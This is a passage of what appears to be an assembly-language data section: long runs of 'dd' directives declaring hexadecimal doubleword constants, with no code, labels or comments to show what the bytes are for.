0F300B69Fh, 78EA0185h, 1F890697h, 0C09DBA11h, 4DB4231Fh dd 520009FFh, 6485FEE7h, 131ACA34h, 1FB9DF84h, 0A7D228h dd 54B4130Eh, 1200C3F1h, 0AC5B3B42h, 1DE7FBC1h, 8BBDE64Fh dd 3089552Bh, 0AEB21000h, 600004D9h, 0EAC27082h, 0BC2D0Bh dd 0E8A61E2h, 0CFA3DBCEh, 0EC4CB70Fh, 57C03C80h, 0EF10E688h dd 39540012h, 4D521103h, 0D18FB9Ch, 0C8616D8Eh, 5062483h dd 0C5003C40h, 0B96B7592h, 5C7477E3h, 0F25D30FCh, 6F1D066Ch dd 395825h, 0B5DCD181h, 48D6BCFCh, 14A4D04Dh, 0EA2E54h dd 8BBAC44Bh, 0B81460DFh, 7BE40365h, 0D7955522h, 0B70A50EEh dd 8D5A77F3h, 0E5D26800h, 0F7DEA6h, 0D6C7C8FDh, 0C09751C1h dd 3A0E59C0h, 11D5602h, 0FF36163Bh, 0E85E2E0Ch, 4D0B2AF4h dd 80EAB2C9h, 1FF7BD94h, 0E99300CDh, 70D40F0Ch, 5000E60Dh dd 9A858EF4h, 0BC0C2h, 0E2035573h, 0EC21EB14h, 129E3009h dd 0FE0680FAh, 0B83C2B25h, 5B4416D0h, 0FB784001h, 3AC57AF5h dd 0EE7AFEF8h, 2DD6CB00h, 0E4FA25FCh, 0A83F839h, 0F00D12CEh dd 5AEE989Ch, 0B306B965h, 0A26FC378h, 0C9463008h, 9DC2AF20h dd 60D96738h, 29430E10h, 32D2003Fh, 6637010Bh, 60048E84h dd 780FDF85h, 0D9BA4C0h, 0B6CC2ABAh, 0BD7790h, 9390B6Ch dd 0B93657FCh, 9F5DFB74h, 0A830054h, 5BB8566Dh, 92F41873h dd 7A4A509Bh, 6503B50Ch dd 30E9136h, 0F380D68Eh, 0E0AE5EFDh, 0E0E0877Ch, 1005749h dd 303B6574h, 2087F4FCh, 46E47984h, 6E009153h, 0E540388Ch dd 305DEFDAh, 7A28DBF7h, 0A400A745h, 59CBB203h, 0F636618Ah dd 0F51B3E91h, 7B751100h, 0FE136D9Dh, 7EC14E07h, 87D04335h dd 360C6Ch, 8E05F452h, 7A86A1F6h, 0BEFC8300h, 46045C1Dh dd 0CB6E00B5h, 0EF1C54A6h, 0A01CBB89h, 0F3008C32h, 12399D29h dd 318E0717h, 0BF412ED4h, 27C4B880h, 0ED015A87h, 0A9921B2Ch dd 65D46ACAh, 0E1961F02h, 84224024h, 0A03E6BFDh, 7EDDB300h dd 70157A92h, 37A90E8Ah, 0A7808752h, 0E811810Ch, 7EF9D601h dd 4667B48Fh, 215B0898h, 0E8071AA1h, 6F400B73h, 0A0F4C670h dd 0EA4A00F6h, 3DD55706h, 0F330F2BCh, 9FC6044h, 8B0C1C7Bh dd 8846CAA9h, 0E80A0134h, 1806FAC5h, 0FC48884Fh, 79E63Fh dd 6C498D7Fh, 67BF99Fh, 0C6D172Eh, 0F50C28E1h, 2C820DFAh dd 42B60C61h, 0C1784ED5h, 0A307590Eh, 0E8178DCEh, 59C8400Ah dd 0E98612C0h, 1C7E1F9Eh, 0C294C05Dh, 46D66C98h, 0FB23E00Ch dd 6CA9011h, 0CE8AA6E8h, 97001062h, 7F2ABA85h, 3C6EC9Fh dd 242FEAA1h, 1AD80CEBh, 0AD133672h, 0A000C045h, 0B1759F81h dd 874D0064h, 0A322BC2Ch, 61008F65h, 312E71BEh, 741EEAAh dd 0EB3D3007h, 0E7992047h, 80056D8Fh, 1CDB2FA7h, 0AA109887h dd 63EC82h, 69AFAEB3h, 3630DDFFh, 56CA7600h, 0FA099EDh dd 0E839773Ah, 669F008Eh, 0B9D51C5Ah, 170073F1h, 97D2D8A7h dd 7DE5E4E7h, 3ED90647h, 784530EFh, 485C2030h, 0C183E7h dd 0A9497133h, 0DEC37D26h, 60E9103Eh, 4E3ED2A4h, 960E1F94h dd 0A0610335h, 0E4E34814h, 9C5547A8h, 0F3308063h, 1F18BE8Ch dd 808FFD08h, 0D3BDAE20h, 31C05603h, 0EB9A6CD5h, 47491010h dd 0DF7D011Bh, 35EE17FCh, 1294AD8h, 57E892B3h, 0D0F366EDh dd 0EF009C9Dh, 0DC4DACDFh, 301651h, 0C84F8886h, 0DE31FAAAh dd 0BD7F1900h, 0F36B9371h, 0A15806B4h, 48E7EE5Fh, 0CFB69900h dd 48C5E5A5h, 0ADA0086h, 837D3451h, 0D200C01Dh, 0C7245995h dd 0D7BB7Eh, 0B519864Ah, 0EACFA582h, 581CB82Eh, 797AB00h dd 0BD8FF7CBh, 22003C58h, 2750B462h, 7E8A91h, 6DCA8202h dd 2EAC4D65h, 12066C00h, 0CB08F556h, 627C00D2h, 7E83D83Bh dd 4D48FAE1h, 10D6306Eh, 0EADFA2h, 3C6EF673h, 6651ACE2h dd 327F9000h, 0D4AF8428h, 314B0068h, 73E72365h, 0CAFED3CDh dd 0EE40C0C0h, 33A1EBFh, 0B03353Dh, 93806490h, 7718D5C9h dd 88B0890Fh, 73CB892h, 5FBD8261h, 1891265Bh, 0E4D48A0Fh dd 0C5C3835Dh, 95B00013h, 9791D192h, 0DA788190h, 5EB50700h dd 15CB28D0h, 0CCAD00C4h, 0C9F5AED2h, 500373D1h, 435FD49h dd 4E84E01Ah, 3EBB00EDh, 243C98CBh, 0D0615F37h, 0A9A687F0h dd 56DBA840h, 27BC5C1Ah, 0DC16AE03h, 0BBF044E7h, 5D092551h dd 80AFE268h, 74398F98h, 0E7726Ah, 37B966EEh, 0EAA2C2DFh dd 3CF8A92Ch, 5526C807h, 20674C4Fh, 0A1D80071h, 51DD8B0Ah dd 0D200BC82h, 342EF16Eh, 33F32E1h, 272ACB96h, 50A984CEh dd 0FD68836Dh, 0C24248EAh, 743F0068h, 250C2F43h, 1035E662h dd 0AFE40059h, 140DB8BDh, 5C3A6A6Eh, 31A7300Eh, 0E4AF1BEBh dd 1857F626h, 0D02794F2h, 0D97ECAD8h, 0CDED80h, 0E0179F10h dd 7253E160h, 2F92560h, 847FD8A9h, 0CC1EAAECh, 803E8DFCh dd 0D93B30A4h, 0C1B093h, 0D66B76C8h, 0AD5A7188h, 2D9C3700h dd 8C428057h, 0AAA81D7Fh, 0EEA180EDh, 0B5CFD6E0h, 0F40EE27Dh dd 0C04B3748h, 335E520Ch, 60223A2Eh, 8BD05804h, 4CA3C0F4h dd 650078ACh, 0D9F9BD0Dh, 7DA94E99h, 628100C1h, 0EDA25716h dd 32038CE0h, 0E6B3BFA7h, 146003A8h, 0D4D77183h, 6C93DEA0h dd 30DDCC3Ah, 994521A1h, 96CD0074h, 26BE1F9Dh, 132228C9h dd 11D201EAh, 67070325h, 0A2E641E3h, 2098B0CFh, 306BE7CEh dd 6C11FFE1h, 15006A46h, 0BCAC5F7Dh, 0E85B71B4h, 0D321C0A2h dd 0FF996A1Fh, 4F7B2D01h, 1348DD05h, 30713430h, 0C9D88C16h dd 802A65F8h, 8D04A014h, 27BC782Ch, 3530DC22h, 0C24084Bh dd 2B626022h, 50E800CDh, 3001BCC1h, 11DAB8C6h, 4981405Bh dd 0CB7C77ABh, 763FE041h, 24E55800h, 9904DB27h, 5A220044h dd 579B8E78h, 64281E16h, 4C07F13Eh, 1324B0D1h, 0C6785480h dd 0A529008Fh, 81A40172h, 5933FEE9h, 80752023h, 0F212BACAh dd 0C89000DBh, 35B11BA7h, 0FC131624h, 3F099CA6h, 5F2835Bh dd 34390E28h, 0A4CCEB48h, 2418BF18h, 0BE300973h, 47F71F2Dh dd 7C8A0036h, 23777F78h, 0EC00A17Eh, 1E13F134h, 660C972h dd 7CAFE8B0h, 0A7300966h, 0E4FEB8B1h, 0B7522EE0h, 1CE100F2h dd 0EE9A0374h, 560F0F4h, 0B59DF180h, 6AF4EB35h, 0D880241h dd 0D9BB6450h, 5C43BD60h, 2D5CE0BDh, 87AE365Fh, 677180B9h dd 4D26A601h, 9FEB4685h, 2378E18Eh, 0E0DB05h, 51C96B54h dd 0CE5A0B0h, 202A6249h, 56E2A1A7h, 0F833A541h, 7602942Eh dd 35D9E9FEh, 988810Ch, 0C848D610h, 7E6F031Ch, 1175D9F4h dd 0C91A2007h, 89E039D8h, 0E78BADh, 367F84BCh, 7D38EE63h dd 148E3D3Ch, 7CA04B2h, 0D62186DCh, 496D2FE0h, 2D0E7E50h dd 995829AEh, 12823E07h, 0CCA0E927h, 19499AAh, 0CA5C9DADh dd 0DCEBC15Eh, 43004D50h, 9F57CCE6h, 3C5B6983h, 0C69E60F1h dd 7888C0C3h, 0D14BD472h, 424F1500h, 0E42BAF65h, 1195077Fh dd 0EFF0C20Dh, 3DF801E0h, 963D560Eh, 0A2780F3h, 3990CFDBh dd 4E100C9h, 74F635D1h, 0CB02D6C4h, 62FFF9Ch, 0FB026161h dd 75F8C0h, 0AB775447h, 220F01E4h, 0DB2D1900h, 7D43DAD5h dd 68BA1E92h, 1D803F5h, 813CFEFh, 8B0076F8h, 86E4A72Ch dd 0C126002Ah, 0A936D9DEh, 0B33D6880h, 3BB851h, 57B1D374h dd 18ED553h, 285ED664h, 20B6EF1Dh, 18907927h, 60DB902Ch dd 7E4F9D00h, 18BF1C6Ah, 188F9544h, 42FC1028h, 0D2961F00h dd 0C6D50348h, 92FF01D1h, 0E11A867Ch, 0DD0C455h, 7702F500h dd 1BC1514Ah, 0ACD6076Ah, 60C6A6F9h, 43B38DDEh, 0FBEDD001h dd 0F6287732h, 0C740CE8h, 0DBCDF2F7h, 5F0FB8E1h, 23A23D0Dh dd 26D242E6h, 0E0CB118h, 2FE19688h, 0E019331Fh, 43FC21DAh dd 0B95E1100h, 7098ACF3h, 8AEE00F7h, 6B3AAECBh, 59B03020h dd 0D72D0F01h, 573883BDh, 1669A6F0h, 0B61524h, 9B46E7EAh dd 320025EFh, 0D5EA3793h, 0C6D1AFD3h, 20E9E808h, 3203CF01h dd 0BB95DD08h, 0CDD455EDh, 80B8004Dh, 0F1FD0D7h, 370069A5h dd 19ABF29h, 1D7C9BA3h, 40F7563Bh, 3CA6E78Fh, 7703CC5Dh dd 0D32A727Fh, 0EF083794h, 5D70B021h, 15185949h, 2E61D13Ah dd 967C00A0h, 5E92BFF0h, 9A0050C5h, 0AE7A078Fh, 7D748D23h dd 0B7AA1D27h, 0BEBD0C11h, 0A9003850h, 4EEE9CCAh, 0D03D3Bh dd 0D93A1345h, 0EAB811EDh, 0A28FD8C0h, 0E967471h, 49AEECCCh dd 0EB03D6C8h, 28C0046Fh, 187318h, 0E06B1064h, 0BE934F5h dd 49A9C018h, 30D0F9C1h, 5A28EB30h, 75303C9Eh, 4D3E3896h dd 0C859D8B9h, 7D1E69AEh, 8F0079EBh, 0F19B8B90h, 74E1C2Bh dd 614880C0h, 62E4DA3h, 0F9380A00h, 0C299CB56h, 0CD3F00B7h dd 0F3C180C4h, 0E700E2BFh, 9DD82BDEh, 0CCF52Fh, 8DC29AEFh dd 869C61A0h, 0E6DA4E00h, 42E9B9C3h, 77F66Ah, 98798A1Bh dd 0DF041AC2h, 0A55AE500h, 0BEE6BD90h, 0ACF03C88h, 41E94B1Fh dd 0CB6D4133h, 8D30807Ch dd 3764E44Ch, 56B601B3h, 0EEB4DC58h, 0DE508086h, 4ECACB4Bh dd 9783001Fh, 6C1B25Ch, 5612CE30h, 3B0079B7h, 60C549A8h dd 8DC330B3h, 8F035E38h, 0D7FF7E03h, 0AF333575h, 12378E40h dd 57FC20h, 0F9134B94h, 647F24A3h, 0D12B010Fh, 0D8C79F9Ch dd 0D9409BD0h, 7798E6Dh, 0D7024278h, 5694B0D2h, 747B5251h dd 0B1AD0A07h, 0C5D0E301h, 0F487D3h, 8B48802Fh, 12728ABAh dd 49086E00h, 2CC6E7B3h, 1B6B040h, 7B8B31EDh, 508E1E6Dh dd 5D3B6C9Ch, 169B0E00h, 62B6D2E8h, 4874001Ah, 7689C0EFh dd 960171D0h, 1239291Ch, 0BCC07ED3h, 0D47D00A8h, 0DE098AC4h dd 0E0C09B80h, 0E865E417h, 35A63B13h, 0AA051A80h, 0EB0B622Ah dd 61647800h, 7A80EAC5h, 176A01E6h, 0CE4F66ACh, 93BCD0E3h dd 0D8CBF700h, 3A32A20Fh, 0D25E0022h, 6B6923C6h, 243A4857h dd 47D40F20h, 0B90F4CFAh, 45560021h, 2D5127ADh, 4016158h dd 53FAC270h, 0D6EF8217h, 8A7B0379h, 7D9CF1D8h, 0ED35F590h dd 0B004B907h, 0CD405F91h, 13AB65h, 483733E2h, 8375243Dh dd 5DC968C0h, 5CF6887h, 82A5DE23h, 0E92C0064h, 0F2B0178Dh dd 0E376A91Eh, 0CC05A480h, 0A1C571D2h, 0F1E01690h, 30C660B1h dd 1075792Ch, 0FE022018h, 792D5861h, 0C4A90B11h, 0EB007DCFh dd 0AE9D3C09h, 0C1D62603h, 0E024144Fh, 0ED0ED83h, 0B9DE60ADh dd 0F091C340h, 0AE003B46h, 0D6CC67E8h, 3736CBDh, 141F3BBh dd 0C5A05126h, 4CE25457h, 474A9100h, 0B8EEF5CFh, 15F22E3Bh dd 0E96B079Fh, 0D52B007Ch, 0F900601Eh, 0F7F8AD6h, 74B49E6Eh dd 4D103FA3h, 0C30CDC9Ch, 502B6B88h, 5DD80807h, 4F004AE7h dd 0E3FF3h, 4B8291E0h, 0F62C7803h, 0B3339200h, 694D72EEh dd 0FE3200C8h, 9F66A557h, 9701766Dh, 2D1201C4h, 0FCE84C60h dd 3D501EF2h, 0E453C01Ch, 587E766Ch, 0E8937900h, 2DE2C470h dd 372B0032h, 74B02762h, 3A2C5330h, 0F300C08Fh, 0E049E970h dd 4B811FEBh, 80941F3Bh, 0A5503E91h, 0A0DF8BAEh, 80C7840Bh dd 577B356Ch, 15E728Dh, 696F6130h, 0CF4F1F0Eh, 828FE180h dd 0FE492000h, 92A90BD0h, 28A00069h, 22099A52h, 81014B1Dh dd 31B36B7Bh, 0A07A9DB2h, 9200753Ch, 6F8F9F36h, 1D373039h dd 722FA32h, 0A110A03Fh, 0F3770756h, 0F7F96681h, 0F3A343E0h dd 6370740Fh, 0F8B4001Ch, 0B4145C0h, 3710F930h, 490F780h dd 0F400A775h, 0E0EC5299h, 0DF1940h, 0C9955386h, 0B21986Dh dd 0A5C3EE00h, 263FC6B3h, 73720070h, 0DC969D84h, 5001C60h dd 35E72B2Ch, 35F0494h, 0CF2FDD25h, 80DC24CBh, 3476815Dh dd 8F19A600h, 0CA3B90EFh, 0F9231827h, 0D43C889h, 30083960h dd 32ADFDD9h, 6D102A5Eh, 0BB6B8357h, 3D24C03Ah, 84C55465h dd 0DF3B0FEEh, 7BA69A63h, 3A03411Dh, 9528480Bh, 3438E8C5h dd 0BA2900EEh, 0F4F16DC6h, 1A1FDA2Eh, 0A58070CDh, 86775139h dd 0BD2F01BFh, 0A6234B20h, 2AB0516Ch, 8244829h, 2C1EA340h dd 0B2285E4h, 9900AF30h, 0AB3F3839h, 27D18C60h, 2E9A90h dd 0D4AFEC86h, 0E83648FCh, 55BC7750h, 80BF8F39h, 5385A246h dd 74070D2h, 82D393Fh, 4EC900E3h, 0CEECC422h, 5C64D906h dd 0F95617h, 2D43FC23h, 0AF0BC492h, 0CFEC1B00h, 0C7A82721h dd 477500B6h, 0B34DE06Ch, 4A00B0FEh, 5F133042h, 0BF333Ch dd 0FD382A01h, 0B5D0F107h, 4E849000h, 6DB196E8h, 99A4A816h dd 3DDE0605h, 78367864h, 0D7F25F00h, 855E1266h, 24C80086h dd 41BF2E48h, 71001081h, 0B63F53D4h, 0A4228F1Dh, 0E4E901D4h dd 0AB1383AFh, 136BFDBh, 475DF85Fh, 0FB70AA75h, 9377001Fh dd 5BDD277Eh, 80F77680h, 713A8790h, 38C8ABh, 9A27CF2h dd 6B225836h, 33F72A1Bh, 0E20CC819h, 0B1E01B5h, 0A9B9B244h dd 0B8B8878Bh, 7490A7FAh, 929BA592h, 42E2002Ch, 7A4B6BD9h dd 9600D458h, 0FEF5E567h, 23B73CDh, 0E7667239h, 8C049ECh dd 6034548h, 0E6EF289h, 0A488C033h, 1A6F00A6h, 24A2E591h dd 1D006619h, 787C576Ah, 7DDFC5B3h, 2976042Eh, 0AA89D687h dd 737F3F80h, 0C5C10056h, 0C684EFF0h, 0A0073ECDh, 95A60918h dd 2F0A009Bh, 687DCAh, 8F52162Ah, 0FD99ED42h, 373F38C3h dd 0E001926Fh, 5F9C4475h, 70ABC73Bh, 0AD17EF0Eh, 2D54FE00h dd 6B9BCEE0h, 0CD38C0B5h, 0B3CFDA2Ah, 50778A00h, 74EE9720h dd 10F10082h, 0E6673D17h, 9C00E019h, 137D3F7Bh, 3E29F961h dd 6808EF8h, 969FE805h, 3001FCE1h, 999181E5h, 6180F917h dd 0E30B6D34h, 792AE65Eh, 430084A8h, 1C1DABCEh, 3FA2A33h dd 6A4EEAB8h, 20017CDBh, 0CDB278E7h, 7BF8D8B1h, 34523E43h dd 0D747A300h, 0A0FC10DCh, 31CF0330h, 3885EBD4h, 9F3A1279h dd 77A85880h, 0CC980A09h, 0C4002177h, 0EB8D2A83h, 3BA6B671h dd 26008FF6h, 90395C68h, 9E00F37Fh, 8083F0FDh, 76FEEFh dd 700E32A9h, 137E1545h, 4F8A5D00h, 89C6E20h, 0F3780906h dd 0A003DA6Dh, 2BE00D8Ch, 0CA0FAC0Ah, 0E0C75597h, 465626BFh dd 93B7006Ch, 626AC387h, 5000523Dh, 6318D386h, 0F91574h dd 447E51F5h, 7180085Fh, 5CDE2000h, 88D34CCDh, 383501BCh dd 0E385AC3Ah, 90B1F4DFh, 1CAF9B1Eh, 41DA7A41h, 24D04C05h dd 2DCE288Ah, 9EEF07CCh, 7EE55h, 0FC1366B8h, 0EAE53700h dd 8F3EDF94h, 0C0C60727h, 0A07744A8h, 0AEF884CFh, 0CBA47900h dd 1B2D22C5h, 0F0F903BEh, 8F97EBFEh, 806CD83Fh, 0EDB65775h dd 7723B35h, 7F608656h, 4BB5F0h, 0D147B398h, 0C400B9D6h dd 9EED96C3h, 1553501h, 8084FFB6h, 0D02C725Fh, 6900D730h dd 0C9759605h, 6FE534h, 8DFB747Bh, 0F2AA43A1h, 4BCFC00h dd 269CA94Ah, 0FE643A8Bh, 0EF1CE1Dh, 7D40729Eh, 7BA973C3h dd 0DBBC94A0h, 321ACA00h, 8B1CF5ADh, 862200BEh, 7A796272h dd 0A607F428h, 0EB691E5Ah, 0FB47801Bh, 0CF8FBEh, 0DE524A0h dd 5784C683h, 317438h, 729AAB5Fh, 1DFEDA65h, 0CE93C3h dd 9FD871B2h, 807C0FEFh, 672B5001h, 0AD66225Fh, 604398CCh dd 64E454B4h, 2A01080Eh, 56F4E5FFh, 93E4DE48h, 71470084h dd 0B519CB11h, 2200A45Fh, 246CF702h, 0E3155Bh, 0F81BB610h dd 34F5B7BDh, 43083D00h, 0F3EECF9Dh, 81BE0053h, 3045D1E9h dd 8D00027Ah, 6CDB2B85h, 0BCDFFh, 0A8AE1A04h, 0DF1B799Ah dd 81BF523Dh, 690898Eh, 73C8C343h, 0A99E00FBh, 0CB44C9FDh dd 280127B9h, 0D9129D30h, 95CCFF61h, 22470F58h, 234053E0h dd 0B7D88356h, 0A7E70B07h, 5C50B9FAh, 3C214Bh, 0F89647AEh dd 0A2025E9Ah, 8DB51800h, 8AE5B7D2h, 6BF00064h, 8E212493h dd 0C37A5668h, 0CFBA090Dh, 52F020E4h, 0D13301F6h, 0B495EC50h dd 0CA362096h, 1EDEB000h, 0D6DFA3AAh, 0BE7B003Ch, 0ED7376BAh dd 5800D01Dh, 87CADD88h, 529098h, 0BB2556BCh, 35464A27h dd 0E70ED903h, 0E1216586h, 3709FB9h, 0B6C20F91h, 0FE23341Ch dd 65884847h, 2C7C836Bh, 770741FAh, 0DABF5D4Fh, 0DDC6F8C0h dd 903D00A8h, 0A4C26EC5h, 4E05D6A7h, 9E1E16B0h, 420E000h dd 0E1D46873h, 2AE55CE8h, 1891A4h, 0D52D8778h, 0CA868D1h dd 0D8249C00h, 3C413B27h, 336FE14h, 23B6F0C7h, 0BBE0D643h dd 30001E7Bh, 17CB870h, 7603E0A5h, 0CC0B00C5h, 8429B713h dd 51EAF85Ah, 68BF9B34h, 0E9AB9101h, 44500BD3h, 5CD82D6Dh dd 4F0074F3h, 0C1687BFh, 2B0126C2h, 9E356559h, 0C5E8F62Dh dd 0F3CC00E5h, 5228028Ah dd 9B000B81h, 903E1A7Ah, 74B7F5h, 62A11729h, 478EF38h dd 461DBBFEh, 5480F313h, 0B0708952h, 0AF673A7Eh, 0D9C1A98Eh dd 82BB8C40h, 8E00FA59h, 9B07A054h, 15975327h, 0A42B73FCh dd 81628400h, 0E67416C8h, 0C73FBF26h, 65B0E700h, 0E00E7D2Ch dd 7FF80A49h, 3C880BDFh, 694BBB81h, 99D3146Bh, 8F9E7C36h dd 0E50DE8CBh, 426D3E47h, 80045624h, 400ED69Dh, 0FE703BE3h dd 6E0030B8h, 1382E91Ah, 841C57h, 0CDC30D26h, 0E4CFE30h dd 0A7316B00h, 2B5D9355h, 0FA33000Fh, 17EE8DB4h, 41031B4Fh dd 81026419h, 0EE1E0D8h, 0DC550E87h, 59603DF8h, 1F7315BAh dd 0FF680800h, 0C235D145h, 3818C05Fh, 670E88CDh, 2010C60Bh dd 957580E8h, 33FCC5h, 0D3ECE515h, 3D4AD244h, 0A300F373h dd 37A7D4C1h, 0E508B5h, 0AD803670h, 6D616A47h, 7C552800h dd 256C82C6h, 9681C1FCh, 0E0B54E5Ch, 0F8182B3Eh, 7EA8D7EEh dd 451100AEh, 2585EF94h, 2800CA18h, 0B65640A1h, 3E7D67h dd 53D68D8h, 0DDC31978h, 28F0E00h, 0CBFAE1CFh, 0BAB6008Bh dd 9B391F3Bh, 2C002723h, 724292E9h, 5B0E71h, 6C19759Dh dd 351A152Bh, 0E7435D00h, 2E0B2DBEh, 79D3582Fh, 0A6BD3F01h dd 3AF2D640h, 7220CB0h, 0E624F33Eh, 6144901Ah, 5D047A8Fh dd 8967D9B7h, 800809Bh, 5A5FDCDDh, 0DB0089E2h, 8DD09943h dd 7EB7E31h, 0A8B2E7BCh, 0FBA7A014h, 0BD00788Bh, 618A91E9h dd 962035h, 95BF8E77h, 734CD202h, 2FC7A400h, 88D6EB0Fh dd 897A00D5h, 5F16D36h, 0B2CB29Ah, 7E00E451h, 1154F79h dd 0DD400026h, 4914B410h, 0AC020934h, 21160697h, 9AB5E0EAh dd 728103BAh, 381A072Dh, 0A34728F8h, 679BDD07h, 8F026C0h dd 614284h, 85C424A7h, 5C3BFCE0h, 0DB5E8F00h, 0F239C877h dd 0BBD901B1h, 0A6131FDAh, 0C9E04038h, 0A50A7B59h, 90C64B36h dd 90788700h, 429385h, 0DE574FD3h, 8A4D68D4h, 0FDBA200h dd 0F1789C2Ch, 0F7E6FFh, 0A9A7C816h, 6546473Ah, 0E04F3C30h dd 0BA4E391h, 0FB86DF8Eh, 14357500h, 811CFE58h, 0C0093EBh dd 788C635Ah, 2B91F64h, 0F84F8236h, 6542BC86h, 1A09B040h dd 1E75D030h, 2EA0A7D5h, 2B5453E6h, 611B095Ch, 6EB7A700h dd 96007888h, 19545150h, 9F731F1h, 0D464C68h, 0F3A65880h dd 78002C42h, 0D5C3F862h, 0FE95D34Fh, 39B80753h, 10BC6DB2h dd 218A7A87h, 20EA7492h, 91836943h, 0C48F6A93h, 0B96880E5h dd 3659B7F0h, 66500A18h, 6100ACC9h, 5EF13DD6h, 0A9410015h dd 7F30015Dh, 8700537Ah, 0C1ED3FDh, 26E60BD7h, 744E8EEh dd 9FF1A098h, 206F5E45h, 5138CC78h, 0FDC27B00h, 230A611Dh dd 0DE3309DFh, 0D4A08C3Dh, 34F0E6A7h, 32000FB0h, 7A2015B9h dd 43F1Ch, 2D515A0Ah, 17CCF20Fh, 0F639D204h, 4CD0E8BBh dd 0C00565D7h, 0BEAA7DB8h, 0CE0B240Bh, 80884858h, 9B5CCB29h dd 0DA300090h, 291BBAC8h, 0B6901340h, 0FC65F40Fh, 0C3D68E46h dd 0C8337CCDh, 14BE180Ch, 0C74B9490h, 911B5900h, 0A2274F7h dd 0DBE49512h, 38309C12h, 0D809A5h, 122DF105h, 0F8798E6Ah dd 0BA07D07Dh, 9F0C7621h, 44258713h, 61D47Eh, 698E52Dh dd 9192F0A9h, 8994CB00h, 0C56FE249h, 367DA0h, 0ABD3BB64h dd 0E88B297Ch, 1477033Ah, 1F9CD062h, 0F4C033EDh, 0BE9732A2h dd 0DD84A0C8h, 5F5904F3h, 0C02D468Ch, 87F95B0h, 43250B02h dd 456861CFh, 0D0DF0010h, 0E10DA389h, 0D1130C79h, 0B8286F83h dd 0D6A92BA4h, 0E336C0BCh, 201D8866h, 0DF00C53Fh, 64EC3D90h dd 3EAC3CF7h, 24B90D0Fh, 1700A2E9h, 0D85FA8F5h, 0AF0AFE03h dd 88B30479h, 5E267F2h, 0E744AD38h, 76F480F3h, 0FA2EF41Dh dd 80BA685Ah, 389997D7h, 65C304Bh, 6E1136B8h, 6401B060h dd 0D9A5E04Ah, 40F2F69Ah, 2AEAA8h, 1EBCACA4h, 6D163454h dd 31F47000h, 111F7C78h, 0D1432420h, 0D35D1DFDh, 0A1E041D0h dd 70BB97B1h, 7B30985Ch, 76B7804Eh, 50A3482Ch, 1902B490h dd 0BDB6C6F9h, 0C4AD8C80h, 47008FB3h, 9C2ACAE5h, 91E88CFh dd 0D7300EF6h, 0C0D09C0Eh, 0DE15FC16h, 0C0B504C6h, 89E63BD5h dd 48EC22D4h, 48D0240h, 80A3E855h, 0D0B53E8Ch, 0B882792Bh dd 60ECB1D4h, 2061BF95h, 0CE56CB00h, 25B1552Fh, 0F583007Bh dd 35FE12B8h, 0A872E23Ah, 80E5AB3Bh, 0F7A653A4h, 0DDC0F2h dd 0DA86DEC4h, 3AE01085h, 9C5C4000h, 7E26EF0Fh, 1A3D0FF1h dd 7580CA04h, 57F774Ch, 11602100h, 9459167h, 78F7001Bh dd 123B62CBh, 0F00C5AEh, 801C3863h, 0FEA5066h, 0DED7EF1Ah dd 574E480h, 89F00A6Bh, 63C3E60Fh, 777C206Dh, 7E44083h dd 86F1922Bh, 31B74088h, 5FF22590h, 5C329D00h, 5EFB47E3h dd 0BEB1008Bh, 6A21D643h, 8C00796Fh, 3618EB0Dh, 7B34CE7h dd 0E552CB96h, 6392505Fh, 0E8EE2B7Eh, 9A7B0700h, 93CF7C1Eh dd 55950046h, 4CE6E0F7h, 0B3007AE1h, 0A225C4E9h, 5DC1A9h dd 674023B5h, 620BA638h, 349C3500h, 253AC864h, 247E00C4h dd 0EC2C9743h, 433A2C3h, 54C898B4h, 7C404ACh, 921FA7FAh dd 29D04C0Bh, 0C0F8A21Bh, 0C838FA61h, 1AD684h, 2ABE4588h dd 35A937E3h, 6AD97817h, 62DF8701h, 1C40FAC8h, 4A9BAh dd 0C9BE17B7h, 0E4DB2CFCh, 0D9332912h, 0A302AC00h, 0FDA504h dd 346FC1BEh, 0F8976153h, 0CBC31C00h, 0C41F23DCh, 1CF73E7h dd 0D762CE15h, 0C72F37E2h, 0C10C3A0h, 1DED1C3h, 9AD0F0C0h dd 48686749h, 4271509Ch, 7D0062FCh, 0BEFF8189h, 3ECE168Eh dd 9607CFE1h, 0A0F98DD5h, 0C907C40Ah, 85F81E00h, 493E9480h dd 0FDEB0060h, 711CFB98h, 4C00F04Ah, 23CBBBA1h, 6F4033h dd 0FD2F1012h, 9E96EE86h, 8ACAB100h, 0DA75022Dh, 4F5C00EDh dd 0AF281C20h, 0C10E17D6h, 0E0905E52h, 0BF0BDB96h, 50300C5h dd 0C6CA8469h, 310EEFAEh, 1CFBA658h, 41889980h, 1CB8E1D3h dd 0D6B6D8h, 0CEBDC8B9h, 9F28CB3Ch, 9B00EE25h, 5DE87375h dd 176DA41h, 0C9DDE9A0h, 50CF5EB2h, 0E83E98C8h, 0D01B4100h dd 6E8F76C0h, 0D7400397h, 594E6A64h, 0B7002971h, 0DB920DD8h dd 0CA43AADh, 6941C789h, 1C000421h, 27B4D71Dh, 245CAD8Eh dd 0B8101EBBh, 2CAE16h, 4537D0CCh, 3035135h, 42DF4A80h dd 1627FBCBh, 3648322h, 0CED19AA9h, 0D86C21B0h, 4B1C0E1Fh dd 2C87A283h, 0BD202459h, 86DB86A4h, 61C37424h, 8809C885h dd 0E4130726h, 143A3BB7h, 4031E337h, 370F0348h, 2BA0E200h dd 996645EDh, 96E70084h, 0D026249Bh, 0E0004662h, 3E4158C2h dd 0A37C9Ch, 0B1452DB3h, 51D05AD7h, 9A193500h, 0F337FF22h dd 64C6003Eh, 2CD6662h, 0DA004095h, 3B524427h, 3DF09Dh dd 0EBAB8323h, 697ED62Bh, 7600FA79h, 9C465E1Bh, 8EB167h dd 0EF4A846Dh, 112D074Dh, 0AF205700h, 8C14E032h, 3379DAh dd 108635DFh, 594AB9BCh, 281E3100h, 0D6FBF2AAh, 58720051h dd 9656C7E3h, 4B000FA3h, 3BD4F1C8h, 99F047h, 60253FF3h dd 0D70594A2h, 2F294400h, 0F2D158F1h, 88DA039Fh, 1AA38F8Ah dd 35405800h, 9356669Ah, 21A90CFDh, 1DA45F1Bh, 822E841Eh dd 0B6C76143h, 0F5B5F1E5h, 4FD92BF0h, 32F8CFh, 9522FF31h dd 0F7D49Fh, 7EF45DECh, 2F85274Fh, 6EBFE301h, 9EE6D12Ch dd 87B48080h, 0C7C81A72h, 0E5130D17h, 39B15000h, 7DD76374h dd 22E200B0h, 30531744h, 985895A0h, 0C01901BEh, 0F3C3DF25h dd 14704880h, 76F265BFh dd 1F072007h, 0D8C1A969h, 189FBEDBh, 0BA2F0664h, 0E00E30F1h dd 800CD907h, 8F237AE4h, 